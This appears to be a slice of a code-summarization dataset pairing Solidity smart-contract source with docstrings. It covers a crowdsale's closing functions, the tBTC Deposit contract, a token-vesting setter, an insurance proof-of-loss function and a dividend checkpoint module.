function nonEthPurchases(
address[] calldata beneficiaries,
uint256[] calldata amounts
)
external
onlyManager
{
uint256 length = amounts.length;
require(beneficiaries.length == length, "length !=");
require(length <= 256, "To long, please consider shorten the array");
for (uint256 i = 0; i < length; i++) {
super.nonEthPurchase(beneficiaries[i], amounts[i]);
}
}
/** OVERRIDE
* @notice Allows onlyManager to mint token for beneficiaries.
* @param beneficiary Recipient of the token purchase
* @param tokenAmount Amount of token purchased
*/
function nonEthPurchase(address beneficiary, uint256 tokenAmount)
public
onlyManager
{
super.nonEthPurchase(beneficiary, tokenAmount);
}
/**
* @notice Allows manager to manually close the round
*/
function closeCurrentRound() public onlyWhileOpen {
super.closeCurrentRound();
}
/**
* @notice setup roles and contract addresses for the crowdsale contract
* @dev This function can only be called once by the owner.
* @param newOwner The address of the new owner/manager.
* @param privateVault The address of private sale vault
* @param presaleVault The address of presale vault.
* @param reserveVault The address of reverve vault.
*/
function roleSetup(
address newOwner,
IVault privateVault,
IVault presaleVault,
IVault reserveVault
)
public
onlyOwner
onlyOnce(_setRole)
{
_setVaults(privateVault, presaleVault, reserveVault);
addManager(newOwner);
_removeManager(msg.sender);
transferOwnership(newOwner);
_setRole = true;
}
/** OVERRIDE
* @notice Specify the actions in the finalization of the crowdsale.
* Add the manager as a token minter and renounce itself the minter role
* role of the token contract.
*/
function finalize() public onlyManager {
require(this.currentRound() == ROUNDS, "Multi-rounds has not yet completed");
super.finalize();
PausableManager(address(token())).unpause();
ERC20Mintable(address(token())).addMinter(msg.sender);
ERC20Mintable(address(token())).renounceMinter();
}
/*** INTERNAL/PRIVATE ***/
/** OVERRIDE
* @notice Calculate the usable wei after taking out the KYC/AML fee, i.e. 96.5 %
* @dev Override to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased after deducting the AML/KYC fee.
*/
function _getTokenAmount(uint256 weiAmount)
internal
view
returns (uint256)
{
uint256 availableWei = weiAmount.mul(KYC_AML_RATE_DEDUCTED).div(KYC_AML_FEE_BASE);
return super._getTokenAmount(availableWei);
}
} | return the ETH price (in USD) currently used in the crowdsale/ | function fiatRate() public view returns (uint256) {
return _fiatRate;
}
| 1,016,748 |
pragma solidity 0.5.17;
import {DepositLiquidation} from "./DepositLiquidation.sol";
import {DepositUtils} from "./DepositUtils.sol";
import {DepositFunding} from "./DepositFunding.sol";
import {DepositRedemption} from "./DepositRedemption.sol";
import {DepositStates} from "./DepositStates.sol";
import {ITBTCSystem} from "../interfaces/ITBTCSystem.sol";
import {IERC721} from "openzeppelin-solidity/contracts/token/ERC721/IERC721.sol";
import {TBTCToken} from "../system/TBTCToken.sol";
import {FeeRebateToken} from "../system/FeeRebateToken.sol";
import "../system/DepositFactoryAuthority.sol";
/// @title Deposit.
/// @notice This is the main contract for tBTC. It is the state machine
/// that (through various libraries) handles bitcoin funding,
/// bitcoin-spv proofs, redemption, liquidation, and fraud logic.
/// @dev This is the execution context for libraries:
/// `DepositFunding`, `DepositLiquidaton`, `DepositRedemption`,
/// `DepositStates`, `DepositUtils`, `OutsourceDepositLogging`, and `TBTCConstants`.
contract Deposit is DepositFactoryAuthority {
using DepositRedemption for DepositUtils.Deposit;
using DepositFunding for DepositUtils.Deposit;
using DepositLiquidation for DepositUtils.Deposit;
using DepositUtils for DepositUtils.Deposit;
using DepositStates for DepositUtils.Deposit;
DepositUtils.Deposit self;
// We separate the constructor from createNewDeposit to make proxy factories easier.
/* solium-disable-next-line no-empty-blocks */
constructor () public {
initialize(address(0));
}
function () external payable {
require(msg.data.length == 0, "Deposit contract was called with unknown function selector.");
}
/// @notice Get the keep contract address associated with the Deposit.
/// @dev The keep contract address is saved on Deposit initialization.
/// @return Address of the Keep contract.
function getKeepAddress() public view returns (address) {
return self.keepAddress;
}
/// @notice Get the integer representing the current state.
/// @dev We implement this because contracts don't handle foreign enums well.
/// see DepositStates for more info on states.
/// @return The 0-indexed state from the DepositStates enum.
function getCurrentState() public view returns (uint256) {
return uint256(self.currentState);
}
/// @notice Check if the Deposit is in ACTIVE state.
/// @return True if state is ACTIVE, fale otherwise.
function inActive() public view returns (bool) {
return self.inActive();
}
/// @notice Retrieve the remaining term of the deposit in seconds.
/// @dev The value accuracy is not guaranteed since block.timestmap can
/// be lightly manipulated by miners.
/// @return The remaining term of the deposit in seconds. 0 if already at term.
function remainingTerm() public view returns(uint256){
return self.remainingTerm();
}
/// @notice Get the signer fee for the Deposit.
/// @dev This is the one-time fee required by the signers to perform .
/// the tasks needed to maintain a decentralized and trustless
/// model for tBTC. It is a percentage of the lotSize (deposit size).
/// @return Fee amount in tBTC.
function signerFee() public view returns (uint256) {
return self.signerFee();
}
/// @notice Get the deposit's BTC lot size in satoshi.
/// @return uint64 lot size in satoshi.
function lotSizeSatoshis() public view returns (uint64){
return self.lotSizeSatoshis;
}
/// @notice Get the Deposit ERC20 lot size.
/// @dev This is the same as lotSizeSatoshis(),
/// but is multiplied to scale to ERC20 decimal.
/// @return uint256 lot size in erc20 decimal (max 18 decimal places).
function lotSizeTbtc() public view returns (uint256){
return self.lotSizeTbtc();
}
/// @notice Get the value of the funding UTXO.
/// @dev This will only return 0 unless
/// the funding transaction has been confirmed on-chain.
/// See `provideBTCFundingProof` for more info on the funding proof.
/// @return Uint256 UTXO value in satoshi.
/// 0 if no funding proof has been provided.
function utxoValue() public view returns (uint256){
return self.utxoValue();
}
/// @notice Returns information associated with the funding UXTO.
/// @dev This call will revert if the deposit is not in a state where the
/// funding info should be valid. In particular, before funding proof
/// is successfully submitted (i.e. in states START,
/// AWAITING_SIGNER_SETUP, and AWAITING_BTC_FUNDING_PROOF), none of
/// these values are set or valid.
/// @return A tuple of (uxtoValueBytes, fundedAt, uxtoOutpoint).
function fundingInfo() public view returns (bytes8 utxoValueBytes, uint256 fundedAt, bytes memory utxoOutpoint) {
require(
! self.inFunding(),
"Deposit has not yet been funded and has no available funding info"
);
return (self.utxoValueBytes, self.fundedAt, self.utxoOutpoint);
}
// THIS IS THE INIT FUNCTION
/// @notice The Deposit Factory can spin up a new deposit.
/// @dev Only the Deposit factory can call this.
/// @param _tbtcSystem `TBTCSystem` contract. More info in `TBTCSystem`.
/// @param _tbtcToken `TBTCToken` contract. More info in TBTCToken`.
/// @param _tbtcDepositToken `TBTCDepositToken` (TDT) contract. More info in `TBTCDepositToken`.
/// @param _feeRebateToken `FeeRebateToken` (FRT) contract. More info in `FeeRebateToken`.
/// @param _vendingMachineAddress `VendingMachine` address. More info in `VendingMachine`.
/// @param _m Signing group honesty threshold.
/// @param _n Signing group size.
/// @param _lotSizeSatoshis The minimum amount of satoshi the funder is required to send.
/// This is also the amount of TBTC the TDT holder will receive:
/// (10**7 satoshi == 0.1 BTC == 0.1 TBTC).
function createNewDeposit(
ITBTCSystem _tbtcSystem,
TBTCToken _tbtcToken,
IERC721 _tbtcDepositToken,
FeeRebateToken _feeRebateToken,
address _vendingMachineAddress,
uint16 _m,
uint16 _n,
uint64 _lotSizeSatoshis
) public onlyFactory payable {
self.tbtcSystem = _tbtcSystem;
self.tbtcToken = _tbtcToken;
self.tbtcDepositToken = _tbtcDepositToken;
self.feeRebateToken = _feeRebateToken;
self.vendingMachineAddress = _vendingMachineAddress;
self.createNewDeposit(_m, _n, _lotSizeSatoshis);
}
/// @notice Deposit owner (TDT holder) can request redemption.
/// Once redemption is requested
/// a proof with sufficient accumulated difficulty is
/// required to complete redemption.
/// @dev The redeemer specifies details about the Bitcoin redemption tx.
/// @param _outputValueBytes The 8-byte Little Endian output size.
/// @param _redeemerOutputScript The redeemer's length-prefixed output script.
function requestRedemption(
bytes8 _outputValueBytes,
bytes memory _redeemerOutputScript
) public {
self.requestRedemption(_outputValueBytes, _redeemerOutputScript);
}
/// @notice Deposit owner (TDT holder) can request redemption.
/// Once redemption is requested a proof with
/// sufficient accumulated difficulty is required
/// to complete redemption.
/// @dev The caller specifies details about the Bitcoin redemption tx and pays
/// for the redemption. The TDT (deposit ownership) is transfered to _finalRecipient, and
/// _finalRecipient is marked as the deposit redeemer.
/// @param _outputValueBytes The 8-byte LE output size.
/// @param _redeemerOutputScript The redeemer's length-prefixed output script.
/// @param _finalRecipient The address to receive the TDT and later be recorded as deposit redeemer.
function transferAndRequestRedemption(
bytes8 _outputValueBytes,
bytes memory _redeemerOutputScript,
address payable _finalRecipient
) public {
require(
msg.sender == self.vendingMachineAddress,
"Only the vending machine can call transferAndRequestRedemption"
);
self.transferAndRequestRedemption(
_outputValueBytes,
_redeemerOutputScript,
_finalRecipient
);
}
/// @notice Get TBTC amount required for redemption by a specified _redeemer.
/// @dev Will revert if redemption is not possible by _redeemer.
/// @param _redeemer The deposit redeemer.
/// @return The amount in TBTC needed to redeem the deposit.
function getRedemptionTbtcRequirement(address _redeemer) public view returns(uint256){
return self.getRedemptionTbtcRequirement(_redeemer);
}
/// @notice Get TBTC amount required for redemption assuming _redeemer
/// is this deposit's owner (TDT holder).
/// @param _redeemer The assumed owner of the deposit's TDT .
/// @return The amount in TBTC needed to redeem the deposit.
function getOwnerRedemptionTbtcRequirement(address _redeemer) public view returns(uint256){
return self.getOwnerRedemptionTbtcRequirement(_redeemer);
}
/// @notice Anyone may provide a withdrawal signature if it was requested.
/// @dev The signers will be penalized if this (or provideRedemptionProof) is not called.
/// @param _v Signature recovery value.
/// @param _r Signature R value.
/// @param _s Signature S value. Should be in the low half of secp256k1 curve's order.
function provideRedemptionSignature(
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
self.provideRedemptionSignature(_v, _r, _s);
}
/// @notice Anyone may notify the contract that a fee bump is needed.
/// @dev This sends us back to AWAITING_WITHDRAWAL_SIGNATURE.
/// @param _previousOutputValueBytes The previous output's value.
/// @param _newOutputValueBytes The new output's value.
function increaseRedemptionFee(
bytes8 _previousOutputValueBytes,
bytes8 _newOutputValueBytes
) public {
self.increaseRedemptionFee(_previousOutputValueBytes, _newOutputValueBytes);
}
/// @notice Anyone may provide a withdrawal proof to prove redemption.
/// @dev The signers will be penalized if this is not called.
/// @param _txVersion Transaction version number (4-byte Little Endian).
/// @param _txInputVector All transaction inputs prepended by the number of inputs encoded as a VarInt, max 0xFC(252) inputs.
/// @param _txOutputVector All transaction outputs prepended by the number of outputs encoded as a VarInt, max 0xFC(252) outputs.
/// @param _txLocktime Final 4 bytes of the transaction.
/// @param _merkleProof The merkle proof of inclusion of the tx in the bitcoin block.
/// @param _txIndexInBlock The index of the tx in the Bitcoin block (0-indexed).
/// @param _bitcoinHeaders An array of tightly-packed bitcoin headers.
function provideRedemptionProof(
bytes4 _txVersion,
bytes memory _txInputVector,
bytes memory _txOutputVector,
bytes4 _txLocktime,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public {
self.provideRedemptionProof(
_txVersion,
_txInputVector,
_txOutputVector,
_txLocktime,
_merkleProof,
_txIndexInBlock,
_bitcoinHeaders
);
}
/// @notice Anyone may notify the contract that the signers have failed to produce a signature.
/// @dev This is considered fraud, and is punished.
function notifySignatureTimeout() public {
self.notifySignatureTimeout();
}
/// @notice Anyone may notify the contract that the signers have failed to produce a redemption proof.
/// @dev This is considered fraud, and is punished.
function notifyRedemptionProofTimeout() public {
self.notifyRedemptionProofTimeout();
}
//
// FUNDING FLOW
//
/// @notice Anyone may notify the contract that signing group setup has timed out.
function notifySignerSetupFailure() public {
self.notifySignerSetupFailure();
}
/// @notice Poll the Keep contract to retrieve our pubkey.
/// @dev Store the pubkey as 2 bytestrings, X and Y.
function retrieveSignerPubkey() public {
self.retrieveSignerPubkey();
}
/// @notice Anyone may notify the contract that the funder has failed to send BTC.
/// @dev This is considered a funder fault, and we revoke their bond.
function notifyFundingTimeout() public {
self.notifyFundingTimeout();
}
/// @notice Requests a funder abort for a failed-funding deposit; that is,
/// requests the return of a sent UTXO to _abortOutputScript. It
/// imposes no requirements on the signing group. Signers should
/// send their UTXO to the requested output script, but do so at
/// their discretion and with no penalty for failing to do so. This
/// can be used for example when a UTXO is sent that is the wrong
/// size for the lot.
/// @dev This is a self-admitted funder fault, and is only be callable by
/// the TDT holder. This function emits the FunderAbortRequested event,
/// but stores no additional state.
/// @param _abortOutputScript The output script the funder wishes to request
/// a return of their UTXO to.
function requestFunderAbort(bytes memory _abortOutputScript) public {
require(
self.depositOwner() == msg.sender,
"Only TDT holder can request funder abort"
);
self.requestFunderAbort(_abortOutputScript);
}
/// @notice Anyone can provide a signature that was not requested to prove fraud during funding.
/// @dev Calls out to the keep to verify if there was fraud.
/// @param _v Signature recovery value.
/// @param _r Signature R value.
/// @param _s Signature S value.
/// @param _signedDigest The digest signed by the signature vrs tuple.
/// @param _preimage The sha256 preimage of the digest.
/// @return True if successful, otherwise revert.
function provideFundingECDSAFraudProof(
uint8 _v,
bytes32 _r,
bytes32 _s,
bytes32 _signedDigest,
bytes memory _preimage
) public {
self.provideFundingECDSAFraudProof(_v, _r, _s, _signedDigest, _preimage);
}
/// @notice Anyone may notify the deposit of a funding proof to activate the deposit.
/// This is the happy-path of the funding flow. It means that we have succeeded.
/// @dev Takes a pre-parsed transaction and calculates values needed to verify funding.
/// @param _txVersion Transaction version number (4-byte LE).
/// @param _txInputVector All transaction inputs prepended by the number of inputs encoded as a VarInt, max 0xFC(252) inputs.
/// @param _txOutputVector All transaction outputs prepended by the number of outputs encoded as a VarInt, max 0xFC(252) outputs.
/// @param _txLocktime Final 4 bytes of the transaction.
/// @param _fundingOutputIndex Index of funding output in _txOutputVector (0-indexed).
/// @param _merkleProof The merkle proof of transaction inclusion in a block.
/// @param _txIndexInBlock Transaction index in the block (0-indexed).
/// @param _bitcoinHeaders Single bytestring of 80-byte bitcoin headers, lowest height first.
function provideBTCFundingProof(
bytes4 _txVersion,
bytes memory _txInputVector,
bytes memory _txOutputVector,
bytes4 _txLocktime,
uint8 _fundingOutputIndex,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public {
self.provideBTCFundingProof(
_txVersion,
_txInputVector,
_txOutputVector,
_txLocktime,
_fundingOutputIndex,
_merkleProof,
_txIndexInBlock,
_bitcoinHeaders
);
}
//
// FRAUD
//
/// @notice Anyone can provide a signature that was not requested to prove fraud.
/// @dev Calls out to the keep to verify if there was fraud.
/// @param _v Signature recovery value.
/// @param _r Signature R value.
/// @param _s Signature S value.
/// @param _signedDigest The digest signed by the signature vrs tuple.
/// @param _preimage The sha256 preimage of the digest.
function provideECDSAFraudProof(
uint8 _v,
bytes32 _r,
bytes32 _s,
bytes32 _signedDigest,
bytes memory _preimage
) public {
self.provideECDSAFraudProof(_v, _r, _s, _signedDigest, _preimage);
}
//
// LIQUIDATION
//
/// @notice Get the current collateralization level for this Deposit.
/// @dev This value represents the percentage of the backing BTC value the signers
/// currently must hold as bond.
/// @return The current collateralization level for this deposit.
function getCollateralizationPercentage() public view returns (uint256) {
return self.getCollateralizationPercentage();
}
/// @notice Get the initial collateralization level for this Deposit.
/// @dev This value represents the percentage of the backing BTC value the signers hold initially.
/// @return The initial collateralization level for this deposit.
function getInitialCollateralizedPercent() public view returns (uint16) {
return self.initialCollateralizedPercent;
}
/// @notice Get the undercollateralization level for this Deposit.
/// @dev This collateralization level is semi-critical. If the collateralization level falls
/// below this percentage the Deposit can get courtesy-called. This value represents the percentage
/// of the backing BTC value the signers must hold as bond in order to not be undercollateralized.
/// @return The undercollateralized level for this deposit.
function getUndercollateralizedThresholdPercent() public view returns (uint16) {
return self.undercollateralizedThresholdPercent;
}
/// @notice Get the severe undercollateralization level for this Deposit.
/// @dev This collateralization level is critical. If the collateralization level falls
/// below this percentage the Deposit can get liquidated. This value represents the percentage
/// of the backing BTC value the signers must hold as bond in order to not be severely undercollateralized.
/// @return The severely undercollateralized level for this deposit.
function getSeverelyUndercollateralizedThresholdPercent() public view returns (uint16) {
return self.severelyUndercollateralizedThresholdPercent;
}
/// @notice Calculates the amount of value at auction right now.
/// @dev We calculate the % of the auction that has elapsed, then scale the value up.
/// @return The value in wei to distribute in the auction at the current time.
function auctionValue() public view returns (uint256) {
return self.auctionValue();
}
/// @notice Closes an auction and purchases the signer bonds. Payout to buyer, funder, then signers if not fraud.
/// @dev For interface, reading auctionValue will give a past value. the current is better.
function purchaseSignerBondsAtAuction() public {
self.purchaseSignerBondsAtAuction();
}
/// @notice Notify the contract that the signers are undercollateralized.
/// @dev Calls out to the system for oracle info.
function notifyCourtesyCall() public {
self.notifyCourtesyCall();
}
/// @notice Goes from courtesy call to active.
/// @dev Only callable if collateral is sufficient and the deposit is not expiring.
function exitCourtesyCall() public {
self.exitCourtesyCall();
}
/// @notice Notify the contract that the signers are undercollateralized.
/// @dev Calls out to the system for oracle info.
function notifyUndercollateralizedLiquidation() public {
self.notifyUndercollateralizedLiquidation();
}
/// @notice Notifies the contract that the courtesy period has elapsed.
/// @dev This is treated as an abort, rather than fraud.
function notifyCourtesyTimeout() public {
self.notifyCourtesyTimeout();
}
/// @notice Withdraw caller's allowance.
/// @dev Withdrawals can only happen when a contract is in an end-state.
function withdrawFunds() public {
self.withdrawFunds();
}
/// @notice Get caller's withdraw allowance.
/// @return The withdraw allowance in wei.
function getWithdrawAllowance() public view returns (uint256) {
return self.getWithdrawAllowance();
}
}
| Calculates the amount of value at auction right now. We calculate the % of the auction that has elapsed, then scale the value up. return The value in wei to distribute in the auction at the current time. | function auctionValue() public view returns (uint256) {
return self.auctionValue();
}
| 14,058,600 |
./partial_match/1/0x80406874a473454b686602a60c3b1AE629F14Fbb/sources/TokenVesting.sol | Changes delegate registry contract to a new address (`newDelegateRegistry`). Can only be called by the current beneficiary./ | function changeDelegateRegistry(address newDelegateRegistry) public onlyOwner {
_changeDelegateRegistry(newDelegateRegistry);
}
| 3,608,130 |
./partial_match/1/0xEa5eDEF1169713C425ce57Cf5c154D732b1B7af6/sources/contracts/core/RcaShieldBase.sol | Needed for Nexus to prove this contract lost funds. We'll likely have reinsurance at least at the beginning to ensure we don't have too much risk in certain protocols. _coverAddress Address that we need to send 0 eth to to confirm we had a loss./ | function proofOfLoss(address payable _coverAddress) external onlyGov {
_coverAddress.transfer(0);
}
| 2,777,733 |
/**
* DISCLAIMER: Under certain conditions, the function pushDividendPayment
* may fail due to block gas limits.
* If the total number of investors that ever held tokens is greater than ~15,000 then
* the function may fail. If this happens investors can pull their dividends, or the Issuer
* can use pushDividendPaymentToAddresses to provide an explict address list in batches
*/
pragma solidity 0.5.8;
import ".././ICheckpoint.sol";
import "../../../storage/modules/Checkpoint/Dividend/DividendCheckpointStorage.sol";
import "../../Module.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "openzeppelin-solidity/contracts/math/Math.sol";
/**
* @title Checkpoint module for issuing ether dividends
* @dev abstract contract
*/
contract DividendCheckpoint is DividendCheckpointStorage, ICheckpoint, Module {
using SafeMath for uint256;
uint256 internal constant e18 = uint256(10) ** uint256(18);
event SetDefaultExcludedAddresses(address[] _excluded);
event SetWithholding(address[] _investors, uint256[] _withholding);
event SetWithholdingFixed(address[] _investors, uint256 _withholding);
event SetWallet(address indexed _oldWallet, address indexed _newWallet);
event UpdateDividendDates(uint256 indexed _dividendIndex, uint256 _maturity, uint256 _expiry);
function _validDividendIndex(uint256 _dividendIndex) internal view {
require(_dividendIndex < dividends.length, "Invalid dividend");
require(!dividends[_dividendIndex].reclaimed, "Dividend reclaimed");
/*solium-disable-next-line security/no-block-members*/
require(now >= dividends[_dividendIndex].maturity, "Dividend maturity in future");
/*solium-disable-next-line security/no-block-members*/
require(now < dividends[_dividendIndex].expiry, "Dividend expiry in past");
}
/**
* @notice Function used to intialize the contract variables
* @param _wallet Ethereum account address to receive reclaimed dividends and tax
*/
function configure(
address payable _wallet
) public onlyFactory {
_setWallet(_wallet);
}
/**
* @notice Init function i.e generalise function to maintain the structure of the module contract
* @return bytes4
*/
function getInitFunction() public pure returns(bytes4) {
return this.configure.selector;
}
/**
* @notice Function used to change wallet address
* @param _wallet Ethereum account address to receive reclaimed dividends and tax
*/
function changeWallet(address payable _wallet) external {
_onlySecurityTokenOwner();
_setWallet(_wallet);
}
function _setWallet(address payable _wallet) internal {
emit SetWallet(wallet, _wallet);
wallet = _wallet;
}
/**
* @notice Return the default excluded addresses
* @return List of excluded addresses
*/
function getDefaultExcluded() external view returns(address[] memory) {
return excluded;
}
/**
* @notice Returns the treasury wallet address
*/
function getTreasuryWallet() public view returns(address payable) {
if (wallet == address(0)) {
address payable treasuryWallet = address(uint160(IDataStore(getDataStore()).getAddress(TREASURY)));
require(address(treasuryWallet) != address(0), "Invalid address");
return treasuryWallet;
}
else
return wallet;
}
/**
* @notice Creates a checkpoint on the security token
* @return Checkpoint ID
*/
function createCheckpoint() public withPerm(OPERATOR) returns(uint256) {
return securityToken.createCheckpoint();
}
/**
* @notice Function to clear and set list of excluded addresses used for future dividends
* @param _excluded Addresses of investors
*/
function setDefaultExcluded(address[] memory _excluded) public withPerm(ADMIN) {
require(_excluded.length <= EXCLUDED_ADDRESS_LIMIT, "Too many excluded addresses");
for (uint256 j = 0; j < _excluded.length; j++) {
require(_excluded[j] != address(0), "Invalid address");
for (uint256 i = j + 1; i < _excluded.length; i++) {
require(_excluded[j] != _excluded[i], "Duplicate exclude address");
}
}
excluded = _excluded;
/*solium-disable-next-line security/no-block-members*/
emit SetDefaultExcludedAddresses(excluded);
}
/**
* @notice Function to set withholding tax rates for investors
* @param _investors Addresses of investors
* @param _withholding Withholding tax for individual investors (multiplied by 10**16)
*/
function setWithholding(address[] memory _investors, uint256[] memory _withholding) public withPerm(ADMIN) {
require(_investors.length == _withholding.length, "Mismatched input lengths");
/*solium-disable-next-line security/no-block-members*/
emit SetWithholding(_investors, _withholding);
for (uint256 i = 0; i < _investors.length; i++) {
require(_withholding[i] <= e18, "Incorrect withholding tax");
withholdingTax[_investors[i]] = _withholding[i];
}
}
/**
* @notice Function to set withholding tax rates for investors
* @param _investors Addresses of investor
* @param _withholding Withholding tax for all investors (multiplied by 10**16)
*/
function setWithholdingFixed(address[] memory _investors, uint256 _withholding) public withPerm(ADMIN) {
require(_withholding <= e18, "Incorrect withholding tax");
/*solium-disable-next-line security/no-block-members*/
emit SetWithholdingFixed(_investors, _withholding);
for (uint256 i = 0; i < _investors.length; i++) {
withholdingTax[_investors[i]] = _withholding;
}
}
/**
* @notice Issuer can push dividends to provided addresses
* @param _dividendIndex Dividend to push
* @param _payees Addresses to which to push the dividend
*/
function pushDividendPaymentToAddresses(
uint256 _dividendIndex,
address payable[] memory _payees
)
public
withPerm(OPERATOR)
{
_validDividendIndex(_dividendIndex);
Dividend storage dividend = dividends[_dividendIndex];
for (uint256 i = 0; i < _payees.length; i++) {
if ((!dividend.claimed[_payees[i]]) && (!dividend.dividendExcluded[_payees[i]])) {
_payDividend(_payees[i], dividend, _dividendIndex);
}
}
}
/**
* @notice Issuer can push dividends using the investor list from the security token
* @param _dividendIndex Dividend to push
* @param _start Index in investor list at which to start pushing dividends
* @param _end Index in investor list at which to stop pushing dividends
*/
function pushDividendPayment(
uint256 _dividendIndex,
uint256 _start,
uint256 _end
)
public
withPerm(OPERATOR)
{
//NB If possible, please use pushDividendPaymentToAddresses as it is cheaper than this function
_validDividendIndex(_dividendIndex);
Dividend storage dividend = dividends[_dividendIndex];
uint256 checkpointId = dividend.checkpointId;
address[] memory investors = securityToken.getInvestorsSubsetAt(checkpointId, _start, _end);
// The investors list maybe smaller than _end - _start becuase it only contains addresses that had a positive balance
// the _start and _end used here are for the address list stored in the dataStore
for (uint256 i = 0; i < investors.length; i++) {
address payable payee = address(uint160(investors[i]));
if ((!dividend.claimed[payee]) && (!dividend.dividendExcluded[payee])) {
_payDividend(payee, dividend, _dividendIndex);
}
}
}
/**
* @notice Investors can pull their own dividends
* @param _dividendIndex Dividend to pull
*/
function pullDividendPayment(uint256 _dividendIndex) public whenNotPaused {
_validDividendIndex(_dividendIndex);
Dividend storage dividend = dividends[_dividendIndex];
require(!dividend.claimed[msg.sender], "Dividend already claimed");
require(!dividend.dividendExcluded[msg.sender], "msg.sender excluded from Dividend");
_payDividend(msg.sender, dividend, _dividendIndex);
}
/**
* @notice Internal function for paying dividends
* @param _payee Address of investor
* @param _dividend Storage with previously issued dividends
* @param _dividendIndex Dividend to pay
*/
function _payDividend(address payable _payee, Dividend storage _dividend, uint256 _dividendIndex) internal;
/**
* @notice Issuer can reclaim remaining unclaimed dividend amounts, for expired dividends
* @param _dividendIndex Dividend to reclaim
*/
function reclaimDividend(uint256 _dividendIndex) external;
/**
* @notice Calculate amount of dividends claimable
* @param _dividendIndex Dividend to calculate
* @param _payee Affected investor address
* @return claim, withheld amounts
*/
function calculateDividend(uint256 _dividendIndex, address _payee) public view returns(uint256, uint256) {
require(_dividendIndex < dividends.length, "Invalid dividend");
Dividend storage dividend = dividends[_dividendIndex];
if (dividend.claimed[_payee] || dividend.dividendExcluded[_payee]) {
return (0, 0);
}
uint256 balance = securityToken.balanceOfAt(_payee, dividend.checkpointId);
uint256 claim = balance.mul(dividend.amount).div(dividend.totalSupply);
uint256 withheld = claim.mul(withholdingTax[_payee]).div(e18);
return (claim, withheld);
}
/**
* @notice Get the index according to the checkpoint id
* @param _checkpointId Checkpoint id to query
* @return uint256[]
*/
function getDividendIndex(uint256 _checkpointId) public view returns(uint256[] memory) {
uint256 counter = 0;
for (uint256 i = 0; i < dividends.length; i++) {
if (dividends[i].checkpointId == _checkpointId) {
counter++;
}
}
uint256[] memory index = new uint256[](counter);
counter = 0;
for (uint256 j = 0; j < dividends.length; j++) {
if (dividends[j].checkpointId == _checkpointId) {
index[counter] = j;
counter++;
}
}
return index;
}
/**
* @notice Allows issuer to withdraw withheld tax
* @param _dividendIndex Dividend to withdraw from
*/
function withdrawWithholding(uint256 _dividendIndex) external;
/**
* @notice Allows issuer to change maturity / expiry dates for dividends
* @dev NB - setting the maturity of a currently matured dividend to a future date
* @dev will effectively refreeze claims on that dividend until the new maturity date passes
* @ dev NB - setting the expiry date to a past date will mean no more payments can be pulled
* @dev or pushed out of a dividend
* @param _dividendIndex Dividend to withdraw from
* @param _maturity updated maturity date
* @param _expiry updated expiry date
*/
function updateDividendDates(uint256 _dividendIndex, uint256 _maturity, uint256 _expiry) external withPerm(ADMIN) {
require(_dividendIndex < dividends.length, "Invalid dividend");
require(_expiry > _maturity, "Expiry before maturity");
Dividend storage dividend = dividends[_dividendIndex];
require(dividend.expiry > now, "Dividend already expired");
dividend.expiry = _expiry;
dividend.maturity = _maturity;
emit UpdateDividendDates(_dividendIndex, _maturity, _expiry);
}
/**
* @notice Get static dividend data
* @return uint256[] timestamp of dividends creation
* @return uint256[] timestamp of dividends maturity
* @return uint256[] timestamp of dividends expiry
* @return uint256[] amount of dividends
* @return uint256[] claimed amount of dividends
* @return bytes32[] name of dividends
*/
function getDividendsData() external view returns (
uint256[] memory createds,
uint256[] memory maturitys,
uint256[] memory expirys,
uint256[] memory amounts,
uint256[] memory claimedAmounts,
bytes32[] memory names)
{
createds = new uint256[](dividends.length);
maturitys = new uint256[](dividends.length);
expirys = new uint256[](dividends.length);
amounts = new uint256[](dividends.length);
claimedAmounts = new uint256[](dividends.length);
names = new bytes32[](dividends.length);
for (uint256 i = 0; i < dividends.length; i++) {
(createds[i], maturitys[i], expirys[i], amounts[i], claimedAmounts[i], names[i]) = getDividendData(i);
}
}
/**
* @notice Get static dividend data
* @return uint256 timestamp of dividend creation
* @return uint256 timestamp of dividend maturity
* @return uint256 timestamp of dividend expiry
* @return uint256 amount of dividend
* @return uint256 claimed amount of dividend
* @return bytes32 name of dividend
*/
function getDividendData(uint256 _dividendIndex) public view returns (
uint256 created,
uint256 maturity,
uint256 expiry,
uint256 amount,
uint256 claimedAmount,
bytes32 name)
{
created = dividends[_dividendIndex].created;
maturity = dividends[_dividendIndex].maturity;
expiry = dividends[_dividendIndex].expiry;
amount = dividends[_dividendIndex].amount;
claimedAmount = dividends[_dividendIndex].claimedAmount;
name = dividends[_dividendIndex].name;
}
/**
* @notice Retrieves list of investors, their claim status and whether they are excluded
* @param _dividendIndex Dividend to withdraw from
* @return address[] list of investors
* @return bool[] whether investor has claimed
* @return bool[] whether investor is excluded
* @return uint256[] amount of withheld tax (estimate if not claimed)
* @return uint256[] amount of claim (estimate if not claimeed)
* @return uint256[] investor balance
*/
function getDividendProgress(uint256 _dividendIndex) external view returns (
address[] memory investors,
bool[] memory resultClaimed,
bool[] memory resultExcluded,
uint256[] memory resultWithheld,
uint256[] memory resultAmount,
uint256[] memory resultBalance)
{
require(_dividendIndex < dividends.length, "Invalid dividend");
//Get list of Investors
Dividend storage dividend = dividends[_dividendIndex];
uint256 checkpointId = dividend.checkpointId;
investors = securityToken.getInvestorsAt(checkpointId);
resultClaimed = new bool[](investors.length);
resultExcluded = new bool[](investors.length);
resultWithheld = new uint256[](investors.length);
resultAmount = new uint256[](investors.length);
resultBalance = new uint256[](investors.length);
for (uint256 i; i < investors.length; i++) {
resultClaimed[i] = dividend.claimed[investors[i]];
resultExcluded[i] = dividend.dividendExcluded[investors[i]];
resultBalance[i] = securityToken.balanceOfAt(investors[i], dividend.checkpointId);
if (!resultExcluded[i]) {
if (resultClaimed[i]) {
resultWithheld[i] = dividend.withheld[investors[i]];
resultAmount[i] = resultBalance[i].mul(dividend.amount).div(dividend.totalSupply).sub(resultWithheld[i]);
} else {
(uint256 claim, uint256 withheld) = calculateDividend(_dividendIndex, investors[i]);
resultWithheld[i] = withheld;
resultAmount[i] = claim.sub(withheld);
}
}
}
}
/**
* @notice Retrieves list of investors, their balances, and their current withholding tax percentage
* @param _checkpointId Checkpoint Id to query for
* @return address[] list of investors
* @return uint256[] investor balances
* @return uint256[] investor withheld percentages
*/
